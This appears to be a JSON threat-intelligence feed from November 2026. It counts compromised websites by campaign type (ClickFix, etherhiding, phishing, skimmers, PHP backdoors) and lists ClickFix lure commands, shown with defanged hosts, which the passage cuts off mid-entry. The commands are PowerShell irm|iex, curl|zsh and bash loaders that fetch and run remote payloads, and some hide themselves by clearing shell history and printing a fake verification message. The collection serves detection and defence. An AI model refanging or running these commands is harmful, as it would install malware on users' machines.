{"asOf":"2026-11-04","feed":{"week":{"to":"2026-11-03","from":"2026-10-28","added":8977,"daily":[{"date":"2026-10-28","added":1136},{"date":"2026-10-29","added":2228},{"date":"2026-10-30","added":968},{"date":"2026-10-31","added":985},{"date":"2026-11-01","added":1351},{"date":"2026-11-02","added":1651},{"date":"2026-11-03","added":658}],"denied":93,"entered":6956,"removed":1185,"accepted":3794},"hosts":111011,"denied":7483,"archive":{"hostIps":8869369,"captures":121985,"responses":2610864,"cleanHashes":115688,"statusChanges":504807,"maliciousHashes":209466}},"threats":{"seospam":{"kits":["linkcradle","linkhiding"],"sites":6525,"joomla":6,"months":[{"month":"2026-08","sites":7,"newSites":7},{"month":"2026-09","sites":2746,"newSites":2746},{"month":"2026-10","sites":4780,"newSites":3300},{"month":"2026-11","sites":621,"newSites":472}],"wpCore":{"6.0":24,"6.1":36,"6.2":24,"6.3":13,"6.4":58,"6.5":67,"6.6":82,"6.7":126,"6.8":278,"6.9":394,"7.0":518,"7.1":2940,"other":319,"older6":207},"plugins":{"akismet":217,"elementor":2186,"revslider":663,"wordfence":267,"js_composer":381,"woocommerce":992,"pro-elements":155,"wpforms-lite":322,"elementor-pro":1006,"wordpress-seo":435,"contact-form-7":1448,"google-site-kit":586,"hostinger-reach":162,"litespeed-cache":383,"elementskit-lite":398,"mailchimp-for-wp":168,"seo-by-rank-math":208,"header-footer-elementor":332,"click-to-chat-for-whatsapp":147,"essential-addons-for-elementor-lite":268},"sites30":5060,"captured":5249,"lastSeen":"2026-11-04","firstSeen":"2026-08-26","namedKits":2,"wordpress":5086,"persistence":{"still":1526,"rechecked":1834}},"clickfix":{"kits":["adminshade","birdeye","branchhop","bwpanel","chainbite","checkbot","clearshort","clocktail","configgnaw","cookiedam","designerlink","digitalflwr","doubledonut","drivesurge","dualprompt","embedshade","envelopedam","framefinger","framegnaw","guardframe","gzipgnaw","hashtail","installerbeaver","jokerstat","kongtuke","la02","lenai","minutemunch","monitormolar","nochain","offerlodge","overlaywar","patchbeaver","pixelsplice","polytds","popuppond","pranklodge","proxysig","quietchisel","sessionlatch","shadowlodge","shieldbeaver","skinframe","smartapesg","socgholish","splashlodge","statustail","stopandprotect","tableframe","testnettail","timbercheck","tokentooth","triplegnaw","twinkey","twintail","txtrelay","verifyfork","xorveil"],"sites":55688,"joomla":2915,"months":[{"month":"2026-08","sites":10404,"newSites":10404},{"month":"2026-09","sites":30018,"newSites":26583},{"month":"2026-10","sites":33296,"newSites":16475},{"month":"2026-11","sites":3204,"newSites":2226}],"wpCore":{"6.0":159,"6.1":217,"6.2":182,"6.3":113,"6.4":247,"6.5":270,"6.6":317,"6.7":535,"6.8":1242,"6.9":2103,"7.0":3360,"7.1":16702,"other":3146,"older6":1156},"plugins":{"akismet":1669,"jetpack":1076,"elementor":13246,"revslider":3702,"wordfence":1931,"wp-rocket":953,"js_composer":2015,"woocommerce":5488,"wpforms-lite":1852,"elementor-pro":6334,"wordpress-seo":2948,"complianz-gdpr":878,"contact-form-7":8387,"google-site-kit":4050,"litespeed-cache":2547,"elementskit-lite":2120,"mailchimp-for-wp":905,"seo-by-rank-math":1852,"header-footer-elementor":1916,"essential-addons-for-elementor-lite":1665},"sites30":34312,"captured":36261,"lastSeen":"2026-11-04","firstSeen":"2026-08-01","namedKits":58,"wordpress":29749,"persistence":{"still":17044,"rechecked":20107}},"phishing":{"kits":["3dcookies","anonymouskit","bankid","basetask","bluenoroff","darcula","eviltokens","flowerstorm","gcore","ghost","kali365","kratos","legokit","masscollect","miarroba","n0va","nakedpages","nexosiren","omegalord","passtwice","phantomstealer","postalscam","samepath","sessionserpent","shieldcrypt","smartapesg","sneaky2fa","templatehop","turnshade"],"sites":16667,"joomla":16,"months":[{"month":"2026-08","sites":1208,"newSites":1208},{"month":"2026-09","sites":4852,"newSites":4846},{"month":"2026-10","sites":10146,"newSites":9995},{"month":"2026-11","sites":807,"newSites":618}],"wpCore":{"7.1":6,"other":44,"older6":0},"plugins":{"bb-plugin":2,"elementor":6,"wordfence":1,"hello-dolly":2,"woocommerce":3,"elementor-pro":1,"sg-cachepress":2,"wordpress-seo":3,"contact-form-7":4,"cookie-law-info":1,"google-site-kit":4,"litespeed-cache":2,"copilote-s-panel":1,"elementskit-lite":2,"email-subscribers":1,"header-footer-elementor":2,"background-image-cropper":1,"design-upgrade-learndash":1,"dynamic-content-for-elementor":1,"essential-addons-for-elementor-lite":1,"content-views-query-and-display-post-page":1},"sites30":7029,"captured":8745,"lastSeen":"2026-11-04","firstSeen":"2026-08-01","namedKits":29,"wordpress":50,"persistence":{"still":161,"rechecked":192}},"iosexploit":{"kits":["coruna"],"sites":601,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":450,"newSites":450},{"month":"2026-11","sites":151,"newSites":151}],"wpCore":{"6.2":6,"6.5":10,"6.6":5,"6.7":9,"6.8":30,"6.9":29,"7.0":32,"7.1":299,"other":56,"older6":19},"plugins":{"elementor":248,"hostinger":21,"revslider":68,"wordfence":3,"astra-sites":21,"js_composer":35,"woocommerce":103,"pro-elements":30,"wpforms-lite":38,"elementor-pro":114,"wordpress-seo":47,"contact-form-7":145,"google-site-kit":81,"hostinger-reach":24,"litespeed-cache":64,"elementskit-lite":74,"seo-by-rank-math":24,"woocommerce-payments":20,"header-footer-elementor":32,"skyboot-custom-icons-for-elementor":26,"essential-addons-for-elementor-lite":30},"sites30":601,"captured":505,"lastSeen":"2026-11-04","firstSeen":"2026-10-03","namedKits":1,"wordpress":495,"persistence":{"still":0,"rechecked":0}},"webskimmer":{"kits":["hexmage","rtcgnaw","superpixel","vaultskim"],"sites":629,"joomla":0,"months":[{"month":"2026-08","sites":46,"newSites":46},{"month":"2026-09","sites":453,"newSites":443},{"month":"2026-10","sites":425,"newSites":117},{"month":"2026-11","sites":41,"newSites":23}],"wpCore":{"6.8":15,"6.9":14,"7.0":28,"7.1":143,"other":53,"older6":4},"plugins":{"akismet":21,"jetpack":26,"elementor":143,"revslider":49,"wordfence":50,"js_composer":35,"woocommerce":209,"wpforms-lite":25,"elementor-pro":88,"wordpress-seo":37,"contact-form-7":105,"google-site-kit":67,"litespeed-cache":48,"elementskit-lite":22,"seo-by-rank-math":28,"woocommerce-payments":32,"google-listings-and-ads":20,"facebook-for-woocommerce":43,"woocommerce-paypal-payments":27,"duracelltomi-google-tag-manager":22},"sites30":435,"captured":391,"lastSeen":"2026-11-04","firstSeen":"2026-08-11","namedKits":4,"wordpress":257,"persistence":{"still":264,"rechecked":294}},"etherhiding":{"kits":["basetask","bwpanel","chainbite","clearshort","cookiedam","doubledonut","drivesurge","envelopedam","filedrop","fleetsync","gzipgnaw","hexmage","lenai","linkhiding","nochain","overlaywar","polytds","proxysig","rtcgnaw","scbackdoor","superpixel","testnettail","triplegnaw","twinkey","xorveil"],"sites":45261,"joomla":1743,"months":[{"month":"2026-08","sites":7249,"newSites":7249},{"month":"2026-09","sites":24782,"newSites":22272},{"month":"2026-10","sites":28127,"newSites":13923},{"month":"2026-11","sites":2732,"newSites":1817}],"wpCore":{"6.0":143,"6.1":190,"6.2":163,"6.3":111,"6.4":221,"6.5":242,"6.6":276,"6.7":458,"6.8":1078,"6.9":1793,"7.0":2928,"7.1":14027,"other":2844,"older6":1009},"plugins":{"akismet":1455,"jetpack":1007,"elementor":11542,"revslider":3240,"wordfence":1597,"wp-rocket":782,"js_composer":1780,"woocommerce":5013,"wpforms-lite":1606,"elementor-pro":5522,"wordpress-seo":2569,"complianz-gdpr":793,"contact-form-7":7336,"google-site-kit":3565,"litespeed-cache":1983,"elementskit-lite":1847,"mailchimp-for-wp":795,"seo-by-rank-math":1319,"header-footer-elementor":1633,"essential-addons-for-elementor-lite":1485},"sites30":28981,"captured":30661,"lastSeen":"2026-11-04","firstSeen":"2026-08-02","namedKits":25,"wordpress":25483,"persistence":{"still":14294,"rechecked":16943}},"fakeupdates":{"kits":["socgholish"],"sites":1894,"joomla":0,"months":[{"month":"2026-08","sites":1190,"newSites":1190},{"month":"2026-09","sites":1225,"newSites":563},{"month":"2026-10","sites":740,"newSites":131},{"month":"2026-11","sites":14,"newSites":10}],"wpCore":{"6.1":7,"6.2":5,"6.4":9,"6.5":7,"6.6":6,"6.7":16,"6.8":38,"6.9":49,"7.0":71,"7.1":429,"other":133,"older6":25},"plugins":{"akismet":93,"jetpack":41,"elementor":262,"revslider":93,"wordfence":69,"js_composer":47,"woocommerce":111,"wpforms-lite":58,"elementor-pro":112,"wordpress-seo":99,"contact-form-7":216,"google-site-kit":74,"litespeed-cache":47,"elementskit-lite":31,"seo-by-rank-math":29,"all-in-one-seo-pack":32,"framework-triappment":159,"smartrestal-serverful":48,"header-footer-elementor":42,"uniserviceist-multiinfrastructure":49},"sites30":775,"captured":888,"lastSeen":"2026-11-04","firstSeen":"2026-08-02","namedKits":1,"wordpress":795,"persistence":{"still":641,"rechecked":781}},"phpbackdoor":{"kits":["fleetsync","scbackdoor","stainedheart"],"sites":1090,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":808,"newSites":808},{"month":"2026-10","sites":688,"newSites":218},{"month":"2026-11","sites":70,"newSites":64}],"wpCore":{"6.1":7,"6.2":5,"6.3":6,"6.4":7,"6.5":13,"6.6":17,"6.7":13,"6.8":21,"6.9":59,"7.0":25,"7.1":386,"other":60,"older6":41},"plugins":{"jetpack":23,"elementor":301,"revslider":89,"wordfence":6,"wp-rocket":24,"gtranslate":17,"astra-sites":26,"js_composer":45,"woocommerce":101,"pro-elements":18,"wpforms-lite":23,"elementor-pro":132,"complianz-gdpr":15,"contact-form-7":199,"instagram-feed":18,"google-site-kit":66,"elementskit-lite":42,"header-footer-elementor":49,"bluehost-wordpress-plugin":15,"click-to-chat-for-whatsapp":16,"essential-addons-for-elementor-lite":53},"sites30":799,"captured":881,"lastSeen":"2026-11-04","firstSeen":"2026-09-02","namedKits":3,"wordpress":660,"persistence":{"still":501,"rechecked":544}},"techsupport":{"kits":["helptds","stripcall"],"sites":639,"joomla":0,"months":[{"month":"2026-08","sites":35,"newSites":35},{"month":"2026-09","sites":327,"newSites":326},{"month":"2026-10","sites":379,"newSites":238},{"month":"2026-11","sites":42,"newSites":40}],"wpCore":{"6.7":5,"6.8":7,"6.9":14,"7.0":25,"7.1":82,"other":28,"older6":17},"plugins":{"akismet":17,"jetpack":8,"elementor":40,"revslider":20,"wordfence":4,"forminator":5,"js_composer":15,"ninja-forms":6,"woocommerce":19,"wpforms-lite":10,"elementor-pro":11,"wordpress-seo":18,"contact-form-7":53,"google-site-kit":22,"hostinger-reach":6,"litespeed-cache":8,"elementskit-lite":10,"all-in-one-seo-pack":5,"header-footer-elementor":6,"google-analytics-for-wordpress":5,"uniserviceist-multiinfrastructure":8},"sites30":407,"captured":367,"lastSeen":"2026-11-04","firstSeen":"2026-08-10","namedKits":2,"wordpress":178,"persistence":{"still":126,"rechecked":151}},"fakedownloads":{"kits":["filedrop"],"sites":18,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":2,"newSites":2},{"month":"2026-11","sites":16,"newSites":16}],"wpCore":{"other":6,"older6":0},"plugins":{"wordfence":0,"shortcodes-for-digipress":3},"sites30":18,"captured":18,"lastSeen":"2026-11-04","firstSeen":"2026-10-28","namedKits":1,"wordpress":6,"persistence":{"still":0,"rechecked":0}},"walletdrainer":{"kits":["basetask","infernodrainer"],"sites":442,"joomla":0,"months":[{"month":"2026-08","sites":6,"newSites":6},{"month":"2026-09","sites":318,"newSites":317},{"month":"2026-10","sites":107,"newSites":99},{"month":"2026-11","sites":21,"newSites":20}],"wpCore":{"other":8,"older6":0},"plugins":{"elementor":3,"wordfence":0,"gtranslate":2,"jet-elements":1,"cookie-law-info":1,"ele-custom-skin":1,"onesignal-free-web-push-notifications":1,"unlimited-elements-for-elementor-premium":1},"sites30":129,"captured":307,"lastSeen":"2026-11-04","firstSeen":"2026-08-15","namedKits":2,"wordpress":8,"persistence":{"still":10,"rechecked":12}},"affiliatefraud":{"kits":["hotejmain","lnkr","pixelmenu","sign1","trackmyposs"],"sites":2006,"joomla":263,"months":[{"month":"2026-08","sites":399,"newSites":399},{"month":"2026-09","sites":783,"newSites":625},{"month":"2026-10","sites":1393,"newSites":945},{"month":"2026-11","sites":54,"newSites":37}],"wpCore":{"6.0":6,"6.1":11,"6.2":7,"6.3":5,"6.4":10,"6.5":13,"6.6":14,"6.7":32,"6.8":64,"6.9":55,"7.0":67,"7.1":373,"other":59,"older6":67},"plugins":{"akismet":34,"elementor":308,"revslider":129,"wordfence":31,"wp-rocket":26,"js_composer":67,"woocommerce":132,"wpforms-lite":39,"elementor-pro":137,"wordpress-seo":59,"complianz-gdpr":23,"contact-form-7":269,"instagram-feed":23,"cookie-law-info":25,"google-site-kit":90,"litespeed-cache":35,"elementskit-lite":51,"all-in-one-seo-pack":27,"header-footer-elementor":52,"essential-addons-for-elementor-lite":41},"sites30":1408,"captured":1273,"lastSeen":"2026-11-04","firstSeen":"2026-08-02","namedKits":5,"wordpress":783,"persistence":{"still":336,"rechecked":396}}},"version":1,"commands":[{"url":"hxxp://mqoiwbmkvakvb[.]zhv8[.]com/s/w/1","host":"*[.]zhv8[.]com","kits":["gzipgnaw"],"urls":1524,"sites":1522,"command":"irm 'mqoiwbmkvakvb[.]zhv8[.]com/s/w/1' | iex","lastSeen":"2026-10-27","firstSeen":"2026-09-28"},{"url":"hxxps://escapeai[.]live/loader_v2[.]sh?build=lom&owner=ekm","host":"escapeai[.]live","kits":["lenai"],"urls":2,"sites":634,"command":"curl -s $(echo \"[base64 of: hxxps://escapeai[.]live/loader_v2[.]sh?build=lom&owner=ekm>w#U6]\" | base64 -d) | zsh","lastSeen":"2026-11-03","firstSeen":"2026-09-08"},{"url":"hxxps://internetserchinkas[.]co/hex/lom/84aa3f59","host":"internetserchinkas[.]co","kits":["lenai"],"urls":2,"sites":605,"command":"","lastSeen":"2026-11-03","firstSeen":"2026-09-02"},{"url":"hxxps://copiose[.]org/lom/62a9405c9735a1a7","host":"copiose[.]org","kits":["lenai"],"urls":16,"sites":578,"command":"iex(irm 'hxxps://copiose[.]org/lom/62a9405c9735a1a7' -UserAgent 'WUA/8382bc918d' -Headers @{'X-WUA'='8382bc918d'})","lastSeen":"2026-11-03","firstSeen":"2026-09-13"},{"url":"hxxps://t-trustrest[.]com/proliv2929/bc49660ca54cf9a2","host":"t-trustrest[.]com","kits":["lenai"],"urls":670,"sites":552,"command":"(irm 'hxxps://t-trustrest[.]com/proliv2929/bc49660ca54cf9a2')|iex","lastSeen":"2026-11-01","firstSeen":"2026-10-20"},{"url":"hxxp://timelevel12[.]com/big","host":"timelevel12[.]com","kits":["lenai","nochain"],"urls":1,"sites":496,"command":"mshta hxxp://timelevel12[.]com/big","lastSeen":"2026-11-04","firstSeen":"2026-09-29"},{"url":"hxxps://cosmical2049[.]com/startapv2/f9b9bfb54f8b30ec","host":"cosmical2049[.]com","kits":["lenai"],"urls":41,"sites":418,"command":"(irm 'hxxps://cosmical2049[.]com/startapv2/f9b9bfb54f8b30ec' -UserAgent 'WUA/b1d0126493' -Headers @{'X-WUA'='b1d0126493'})|iex","lastSeen":"2026-11-04","firstSeen":"2026-10-07"},{"url":"hxxps://xorados[.]com/x/proliv2929","host":"xorados[.]com","kits":["lenai"],"urls":228,"sites":381,"command":"curl -s $(echo \"[base64 of: hxxps://groverudder12[.]com/curl/c5iu9pzo7q/luav5qbvsjzop7b9s9.dat]\" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xorados[.]com/x/proliv2929' >/dev/null","lastSeen":"2026-11-02","firstSeen":"2026-10-07"},{"url":"hxxp://138[.]124[.]78[.]70/87da77e63a37?force=1","host":"138[.]124[.]78[.]70","kits":["drivesurge"],"urls":1,"sites":377,"command":"export SRC_URL='{_0x55728c}' && (cd /tmp && curl -kfsSL \"hxxp://138[.]124[.]78[.]70/87da77e63a37?force=1\\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\\n  \\033[32m✓ Verification successful\\033[0m\\n\\n'","lastSeen":"2026-10-29","firstSeen":"2026-10-15"},{"url":"hxxp://hagosuro[.]lc/dantestraff18/9956ca98593d95f4","host":"hagosuro[.]lc","kits":["coruna","lenai"],"urls":29,"sites":357,"command":"(irm 'hxxp://hagosuro[.]lc/dantestraff18/9956ca98593d95f4' -UserAgent 'WUA/bdda1e77b2' -Headers @{'X-WUA'='bdda1e77b2'})|iex","lastSeen":"2026-11-04","firstSeen":"2026-10-22"},{"url":"hxxps://trek-72[.]com/curl/nrzucphh/482saou8yf54ndlb4.json","host":"trek-72[.]com","kits":["lenai"],"urls":2,"sites":346,"command":"curl -s $(echo \"[base64 of: hxxps://trek-72[.]com/curl/nrzucphh/482saou8yf54ndlb4.json]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-11-04","firstSeen":"2026-10-15"},{"url":"hxxps://groverudder12[.]com/curl/c5iu9pzo7q/luav5qbvsjzop7b9s9.dat","host":"groverudder12[.]com","kits":["lenai"],"urls":1,"sites":331,"command":"curl -s $(echo \"[base64 of: hxxps://groverudder12[.]com/curl/c5iu9pzo7q/luav5qbvsjzop7b9s9.dat]\" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xorados[.]com/x/proliv2929' >/dev/null","lastSeen":"2026-11-02","firstSeen":"2026-10-08"},{"url":"hxxps://wall[.]casajuanchos[.]com/s","host":"wall[.]casajuanchos[.]com","kits":["bwpanel"],"urls":2,"sites":300,"command":"","lastSeen":"2026-10-12","firstSeen":"2026-10-02"},{"url":"hxxp://kmrerlhcgwzhb[.]zo15[.]com/s/w/1","host":"*[.]zo15[.]com","kits":["gzipgnaw"],"urls":280,"sites":280,"command":"irm 'kmrerlhcgwzhb[.]zo15[.]com/s/w/1' | iex","lastSeen":"2026-10-23","firstSeen":"2026-09-29"},{"url":"hxxp://ncheck-brows[.]beer/78e7cd9b2b5c0fe4","host":"ncheck-brows[.]beer","kits":["lenai"],"urls":368,"sites":275,"command":"irm 'ncheck-brows[.]beer/78e7cd9b2b5c0fe4'|iex","lastSeen":"2026-11-04","firstSeen":"2026-10-29"},{"url":"hxxp://browse-veriid[.]beer/e369c83940f3514c","host":"browse-veriid[.]beer","kits":["lenai"],"urls":441,"sites":272,"command":"irm 'browse-veriid[.]beer/e369c83940f3514c'|iex","lastSeen":"2026-10-14","firstSeen":"2026-10-12"},{"url":"hxxp://idcheckbrowese[.]codes/f6351cb81803997a","host":"idcheckbrowese[.]codes","kits":["lenai"],"urls":353,"sites":259,"command":"irm 'idcheckbrowese[.]codes/f6351cb81803997a'|iex","lastSeen":"2026-10-07","firstSeen":"2026-10-04"},{"url":"hxxps://cleanavcheskre[.]com/x/ug","host":"cleanavcheskre[.]com","kits":["lenai"],"urls":232,"sites":237,"command":"echo \"[base64 of: curl -s -o /tmp/chrome hxxp://109[.]238[.]87[.]111/d/unix72040355; chmod +x /tmp/chrome; /tmp/chrome > /dev/null 2>&1 & disown]\" | base64 -d | bash; curl -fsS 'hxxps://cleanavcheskre[.]com/x/ug' >/dev/null","lastSeen":"2026-10-24","firstSeen":"2026-09-28"},{"url":"hxxp://brows-check[.]codes/9bf7330c1b2a823f","host":"brows-check[.]codes","kits":["lenai"],"urls":314,"sites":229,"command":"irm 'brows-check[.]codes/9bf7330c1b2a823f'|iex","lastSeen":"2026-10-12","firstSeen":"2026-10-10"},{"url":"hxxp://45[.]147[.]31[.]197/41a7b0ffa7748712?force=1","host":"45[.]147[.]31[.]197","kits":["drivesurge"],"urls":2,"sites":220,"command":"export SRC_URL=\\x27{_0x53dc6d}\\x27 && (cd /tmp && curl -kfsSL \\x22hxxp://45[.]147[.]31[.]197/41a7b0ffa7748712?force=1\\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\\n  \\033[32m✓ Verification successful\\033[0m\\n\\n'","lastSeen":"2026-10-15","firstSeen":"2026-10-05"},{"url":"hxxps://ubbrobccheck20[.]cc/cdn/sync/traffic?r=2723","host":"ubbrobccheck20[.]cc","kits":["xorveil"],"urls":230,"sites":213,"command":"irm hxxps://ubbrobccheck20[.]cc/cdn/sync/traffic?r=2723|iex","lastSeen":"2026-11-04","firstSeen":"2026-10-28"},{"url":"hxxp://jscdncloude[.]beer/661e5a04c40e8922","host":"jscdncloude[.]beer","kits":["lenai"],"urls":285,"sites":212,"command":"irm 'jscdncloude[.]beer/661e5a04c40e8922'|iex","lastSeen":"2026-10-25","firstSeen":"2026-10-21"},{"url":"hxxps://verifyidentrob01[.]cc/cdn/sync/traffic?r=3386","host":"verifyidentrob01[.]cc","kits":["xorveil"],"urls":220,"sites":204,"command":"irm hxxps://verifyidentrob01[.]cc/cdn/sync/traffic?r=3386|iex","lastSeen":"2026-11-02","firstSeen":"2026-10-28"},{"url":"hxxps://mikoblico[.]xyz/loader_v2[.]sh?build=new_traffic&owner=D4NTE","host":"mikoblico[.]xyz","kits":["lenai"],"urls":2,"sites":184,"command":"curl -s $(echo \"[base64 of: hxxps://mikoblico[.]xyz/loader_v2[.]sh?build=new_traffic&owner=D4NTE]\" | base64 -d) | zsh ; curl -fsS 'hxxps://cleanavcheskre[.]com/x/proliv2929' >/dev/null","lastSeen":"2026-10-08","firstSeen":"2026-09-29"},{"url":"hxxp://checkyoubrowse[.]codes/2c28b05a81c6a4a1","host":"checkyoubrowse[.]codes","kits":["lenai"],"urls":228,"sites":183,"command":"irm 'checkyoubrowse[.]codes/2c28b05a81c6a4a1'|iex","lastSeen":"2026-10-09","firstSeen":"2026-10-07"},{"url":"hxxp://fingerprint-veri[.]info/d8fc26fb3c8ae49a","host":"fingerprint-veri[.]info","kits":["lenai"],"urls":1,"sites":181,"command":"powershell -w h \"iex(irm 'fingerprint-veri[.]info/d8fc26fb3c8ae49a'); Start-Sleep -Seconds 30\"; exit","lastSeen":"2026-11-04","firstSeen":"2026-09-26"},{"url":"hxxp://id-verfied[.]boats/2c35f4b833688b18","host":"id-verfied[.]boats","kits":["lenai"],"urls":267,"sites":176,"command":"irm 'id-verfied[.]boats/2c35f4b833688b18'|iex","lastSeen":"2026-10-26","firstSeen":"2026-10-25"},{"url":"hxxps://gfisoda[.]biz/01/b342d7b8f00999fa","host":"gfisoda[.]biz","kits":["lenai"],"urls":36,"sites":165,"command":"iex(irm 'hxxps://gfisoda[.]biz/01/b342d7b8f00999fa' -UserAgent 'WUA/627f24a83a' -Headers @{'X-WUA'='627f24a83a'})","lastSeen":"2026-11-04","firstSeen":"2026-10-16"},{"url":"hxxp://45[.]158[.]199[.]240/fd8dc70d485d?force=1","host":"45[.]158[.]199[.]240","kits":["drivesurge"],"urls":1,"sites":163,"command":"export SRC_URL='{_0xf2a9d7}' && (cd /tmp && curl -kfsSL \"hxxp://45[.]158[.]199[.]240/fd8dc70d485d?force=1\" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\\n  \\033[32m✓ Verification successful\\033[0m\\n\\n'","lastSeen":"2026-11-04","firstSeen":"2026-10-31"},{"url":"hxxps://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e","host":"lepafonso[.]bz","kits":["coruna","lenai"],"urls":1,"sites":155,"command":"(irm 'hxxps://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e' -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6246.20 Safari/537.36' -Headers @{'X-WUA'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6246.20 Safari/537.36'} -TimeoutSec 45)|iex","lastSeen":"2026-11-04","firstSeen":"2026-10-31"},{"url":"hxxps://dog[.]caspers66[.]com/pidor.ps1","host":"dog[.]caspers66[.]com","kits":["bwpanel"],"urls":1,"sites":140,"command":"iex((iwr 'hxxps://dog[.]caspers66[.]com/pidor.ps1' -UseBasicParsing).Content)","lastSeen":"2026-10-02","firstSeen":"2026-09-27"},{"url":"hxxp://95[.]163[.]152[.]66/41a7b0ffa7748712?force=1","host":"95[.]163[.]152[.]66","kits":["drivesurge"],"urls":2,"sites":113,"command":"export SRC_URL=\\x27{_0x319963}\\x27 && (cd /tmp && curl -kfsSL \\x22hxxp://95[.]163[.]152[.]66/41a7b0ffa7748712?force=1\\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf \\x27033[3J\\x27; history -d $(history 1 2>/dev/null | awk \\x27{print $1}\\x27) 2>/dev/null; fc -p /dev/null 2>/dev/null; printf \\x27\n  033[32m✓ Verification successful033[0m\n\n\\x27","lastSeen":"2026-10-09","firstSeen":"2026-10-05"},{"url":"hxxps://xursod[.]com/x/proliv2929","host":"xursod[.]com","kits":["lenai"],"urls":93,"sites":111,"command":"curl -s $(echo \"[base64 of: hxxps://spruce21[.]com/curl/r891bbmlj9/bm7zevpbkr7fwv3v023htl.txt]\" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xursod[.]com/x/proliv2929' >/dev/null","lastSeen":"2026-09-29","firstSeen":"2026-09-22"},{"url":"hxxp://verifing-server[.]codes/5548f8f4efffe692","host":"verifing-server[.]codes","kits":["lenai"],"urls":158,"sites":109,"command":"irm 'verifing-server[.]codes/5548f8f4efffe692'|iex","lastSeen":"2026-10-19","firstSeen":"2026-10-18"},{"url":"hxxps://efreitorher[.]org/h/c/f9e1881c658d8b72&echo","host":"efreitorher[.]org","kits":["lenai"],"urls":91,"sites":91,"command":"cmd /c \"(echo cd /d %~dp0&echo copy /b /y %windir%\\system32\\c?rl.exe x1.exe&echo .\\x1.exe -sLoa.cmd hxxps://efreitorher[.]org/h/c/f9e1881c658d8b72&echo .\\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\\t.cmd& pcalua -a %PUBLIC%\\t.cmd&rem reCaptcha ID: 255901\"","lastSeen":"2026-11-02","firstSeen":"2026-10-31"},{"url":"hxxps://red[.]chuseatery[.]com/pidor.ps1","host":"red[.]chuseatery[.]com","kits":["bwpanel"],"urls":1,"sites":91,"command":"IEX((New-Object Net.WebClient).DownloadString('hxxps://red[.]chuseatery[.]com/pidor.ps1'))","lastSeen":"2026-10-14","firstSeen":"2026-10-12"},{"url":"hxxp://77[.]110[.]102[.]43/d2503d96a3?force=1","host":"77[.]110[.]102[.]43","kits":["drivesurge"],"urls":1,"sites":84,"command":"export SRC_URL=\\x27{_0x4582fc}' && (cd /tmp && curl -kfsSL \"hxxp://77[.]110[.]102[.]43/d2503d96a3?force=1\" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\\n  \\033[32m✓ Verification successful\\033[0m\\n\\n'","lastSeen":"2026-10-03","firstSeen":"2026-09-29"},{"url":"hxxp://code[.]nvc-info[.]beer/ad3b684b3b15342a","host":"code[.]nvc-info[.]beer","kits":["lenai"],"urls":102,"sites":83,"command":"irm 'code[.]nvc-info[.]beer/ad3b684b3b15342a'|iex","lastSeen":"2026-10-17","firstSeen":"2026-10-17"},{"url":"hxxps://immmerhency[.]com/x/test_proliv","host":"immmerhency[.]com","kits":["lenai"],"urls":67,"sites":80,"command":"curl -s $(echo \"[base64 of: hxxps://escapeai[.]live/loader_v2[.]sh?build=mybuild&owner=D4NTE]\" | base64 -d) | zsh ; curl -fsS 'hxxps://immmerhency[.]com/x/test_proliv' >/dev/null","lastSeen":"2026-09-13","firstSeen":"2026-09-07"},{"url":"hxxp://94[.]156[.]170[.]255/webdav","host":"94[.]156[.]170[.]255","kits":["shieldbeaver"],"urls":1,"sites":77,"command":"cmd /c net use Z: hxxp://94[.]156[.]170[.]255/webdav /persistent:no && \"Z:\\update.cmd\" & net use Z: /delete","lastSeen":"2026-11-01","firstSeen":"2026-09-07"},{"url":"hxxp://cloud-browse[.]codes/6c03334faed88424","host":"cloud-browse[.]codes","kits":["lenai"],"urls":109,"sites":73,"command":"irm 'cloud-browse[.]codes/6c03334faed88424'|iex","lastSeen":"2026-10-21","firstSeen":"2026-10-19"},{"url":"hxxp://codes[.]caffe-img[.]com/07a3689f14871386","host":"codes[.]caffe-img[.]com","kits":["lenai"],"urls":99,"sites":73,"command":"irm 'codes[.]caffe-img[.]com/07a3689f14871386'|iex","lastSeen":"2026-10-27","firstSeen":"2026-10-27"},{"url":"hxxp://entry-verifed-cdn[.]codes/15e61a20d7c807c3","host":"entry-verifed-cdn[.]codes","kits":["lenai"],"urls":97,"sites":73,"command":"irm 'entry-verifed-cdn[.]codes/15e61a20d7c807c3'|iex","lastSeen":"2026-09-30","firstSeen":"2026-09-28"},{"url":"hxxp://185[.]246[.]223[.]71/webdav","host":"185[.]246[.]223[.]71","kits":["shieldbeaver"],"urls":1,"sites":70,"command":"cmd /c net use Z: hxxp://185[.]246[.]223[.]71/webdav /persistent:no && \"Z:\\update.cmd\" & net use Z: /delete","lastSeen":"2026-11-01","firstSeen":"2026-09-30"},{"url":"hxxps://imacos[.]cc/x/newtest1709","host":"imacos[.]cc","kits":["lenai"],"urls":55,"sites":69,"command":"echo '[base64 of: curl -sf 